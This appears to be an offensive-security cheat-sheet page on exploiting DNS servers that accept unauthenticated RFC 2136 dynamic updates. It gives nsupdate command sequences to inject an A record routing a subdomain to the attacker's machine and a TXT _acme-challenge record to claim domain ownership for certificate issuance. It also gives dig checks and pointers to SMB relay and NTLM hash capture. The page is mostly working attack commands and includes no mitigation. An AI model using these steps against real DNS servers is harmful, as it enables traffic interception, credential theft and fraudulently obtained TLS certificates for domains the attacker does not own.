Skip to content
HackIndex.io

Insecure DNS Dynamic Updates (RFC 2136)

1 min read Created Mar 11, 2026 Last updated May 15, 2026

DNS servers configured to allow unauthenticated dynamic updates (RFC 2136) allow external attackers to modify zone files. This enables traffic interception, phishing, and circumvention of domain validation checks.

  • A record injection route traffic for a specific subdomain to your attacker machine using nsupdate.
  • TXT record injection claim domain ownership for certificate authorities and external services by injecting validation tokens.
  • Verification with dig confirm injected records propagated and resolve to the expected IP before proceeding.
  • Traffic interception pair injected records with a web server or SMB relay listener to capture misdirected connections.

Injecting an A Record

Use nsupdate to push a new A record into the target zone. This routes traffic destined for a specific subdomain directly to your attacking machine. Create a text file containing the update instructions and pass it to the tool.

┌──(kali㉿kali)-[~]
└─$ cat <<EOF > update.txt
┌──(kali㉿kali)-[~]
└─$ server $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ zone $DOMAIN
┌──(kali㉿kali)-[~]
└─$ update add compromised.$DOMAIN 3600 A $LHOST
┌──(kali㉿kali)-[~]
└─$ show
┌──(kali㉿kali)-[~]
└─$ send
┌──(kali㉿kali)-[~]
└─$ EOF
┌──(kali㉿kali)-[~]
└─$ nsupdate update.txt

If the server accepts the update, the command will return silently or output the outbound packet details without an error code like REFUSED or SERVFAIL.

Verifying the Injected Record

Query the DNS server directly to confirm the record propagated and resolves to your listener IP.

┌──(kali㉿kali)-[~]
└─$ dig @$TARGET_IP compromised.$DOMAIN A +short 
192.168.1.50

With the A record established, you can stand up a web server or an SMB relay listener on $LHOST to capture traffic directed to compromised.$DOMAIN.

Injecting a TXT Record for Domain Validation

Many Certificate Authorities and third-party services rely on DNS TXT records to verify domain ownership. Injecting a TXT record allows you to claim administrative control over the domain for external services.

┌──(kali㉿kali)-[~]
└─$ cat <<EOF > txt_update.txt
┌──(kali㉿kali)-[~]
└─$ server $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ zone $DOMAIN
┌──(kali㉿kali)-[~]
└─$ update add _acme-challenge.$DOMAIN 3600 TXT "validation_token_string"
┌──(kali㉿kali)-[~]
└─$ show
┌──(kali㉿kali)-[~]
└─$ send
┌──(kali㉿kali)-[~]
└─$ EOF
┌──(kali㉿kali)-[~]
└─$ nsupdate txt_update.txt

Verify the TXT record using dig. Once confirmed, proceed with the external service verification process (such as requesting a Let's Encrypt TLS certificate for the domain).

With a record injected, pair with ADIDNS Poisoning and Hijacking for broader AD DNS control. Redirect traffic through the injected record into an SMB relay listener: see SMB NTLM Relay. For capturing NTLM hashes via WPAD, see WPAD DNS Credential Capture with Responder.